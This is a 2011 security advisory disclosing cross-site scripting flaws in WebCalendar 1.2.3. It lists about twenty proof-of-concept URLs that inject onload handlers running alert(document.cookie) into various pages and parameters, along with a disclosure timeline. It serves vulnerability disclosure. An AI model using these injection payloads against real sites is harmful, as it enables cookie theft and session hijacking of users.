Advisory: Multiple Cross-Site Scripting vulnerabilities in WebCalendar Advisory ID: SSCHADV2011-008 Author: Stefan Schurtz Affected Software: Version 1.2.3 and probably prior versions Vendor URL: http://www.k5n.us/webcalendar.php Vendor Status: informed CVE-ID: - ========================== Vulnerability Description: ========================== This is a Cross-Site Scripting vulnerability ================== Technical Details: ================== http://[target]/webapps/webcalendar/about/";><body onload=alert(document.cookie)> http://[target]/webapps/webcalendar/about/";><body onload=alert('XSS')> http://[target]/webapps/webcalendar/colors.php?color=";><iframe onload=alert(document.cookie)> http://[target]/webapps/webcalendar/datesel.php?form=";><iframe onload=alert(document.cookie)> http://[target]/webapps/webcalendar/datesel.php?form=3&fday=";><iframe onload=alert(document.cookie)>&fmonth=3&fyear=3&date=20110601 http://[target]/webapps/webcalendar/datesel.php?form=3&fday=3&fmonth=";><iframe onload=alert(document.cookie)>&fyear=3&date=20110601 http://[target]/webapps/webcalendar/datesel.php?form=3&fday=3&fmonth=3&fyear=";><iframe onload=alert(document.cookie)>&date=20110601 http://[target]/webapps/webcalendar/year.php/";><body onload=alert(document.cookie)> http://[target]/webapps/webcalendar/select_user.php/";><body onload=alert(document.cookie)> http://[target]/webapps/webcalendar/week.php/";><body onload=alert(document.cookie)> http://[target]/webapps/webcalendar/month.php/";><body onload=alert(document.cookie)> http://[target]/webapps/webcalendar/search_handler.php/";><body onload=alert(document.cookie)> http://[target]/webapps/webcalendar/day.php/";><body onload=alert(document.cookie)> http://[target]/webapps/webcalendar/datesel.php/";><body onload=alert(document.cookie)> http://[target]/webapps/webcalendar/edit_entry.php/";><body onload=alert(document.cookie)> http://[target]/webapps/webcalendar/search.php/";><body onload=alert(document.cookie)> http://[target]/webapps/webcalendar/help_edit_entry.php/";><body onload=alert(document.cookie)> http://[target]/webapps/webcalendar/catsel.php/";><body onload=alert(document.cookie)> http://[target]/webapps/webcalendar/help_index.php/";><body onload=alert(document.cookie)> http://[target]/webapps/webcalendar/help_docs.php/";><body onload=alert(document.cookie)> http://[target]/webapps/webcalendar/help_bug.php/";><body onload=alert(document.cookie)> ========= Solution: ========= - ==================== Disclosure Timeline: ==================== 02-Jul-2011 - informed developers 02-Jul-2011 - Release date of this security advisory ======== Credits: ======== Vulnerabilities found and advisory written by Stefan Schurtz. =========== References: =========== http://www.k5n.us/webcalendar.php http://www.rul3z.de/advisories/SSCHADV2011-008.txt
